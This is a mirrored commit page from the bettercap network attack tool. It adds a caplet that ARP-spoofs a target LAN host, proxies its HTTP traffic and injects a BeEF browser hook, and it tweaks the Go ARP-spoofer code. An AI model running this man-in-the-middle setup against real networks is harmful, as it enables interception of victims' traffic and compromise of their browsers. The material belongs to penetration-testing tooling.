mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 13:09:49 -07:00
fix: fixed arp spoofer stop
This commit is contained in:
parent
7248dd701a
commit
a849692468
2 changed files with 20 additions and 3 deletions
17
caplets/beef-active.cap
Normal file
17
caplets/beef-active.cap
Normal file
|
@ -0,0 +1,17 @@
|
|||
set arp.spoof.targets 192.168.1.53
|
||||
# inject beef hook
|
||||
set http.proxy.script caplets/beef-inject.js
|
||||
# keep reading arp table for network mapping
|
||||
net.recon on
|
||||
# redirect http traffic to a proxy
|
||||
http.proxy on
|
||||
# wait for everything to start properly
|
||||
sleep 1
|
||||
|
||||
arp.spoof on
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -38,12 +38,12 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
|||
return p
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) OnSessionStarted(s *session.Session) {
|
||||
func (p *ArpSpoofer) OnSessionStarted(s *session.Session) {
|
||||
// refresh the subnet after session has been created
|
||||
s.Env.Set("arp.spoof.targets", s.Interface.CIDR())
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) OnSessionEnded(s *session.Session) {
|
||||
func (p *ArpSpoofer) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
|
@ -186,7 +186,7 @@ func (p *ArpSpoofer) Start() error {
|
|||
|
||||
for p.Running() {
|
||||
p.sendArp(addresses, from, from_hw, true, false)
|
||||
time.Sleep(5 * time.Second)
|
||||
time.Sleep(1 * time.Second)
|
||||
}
|
||||
|
||||
p.Done <- true
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue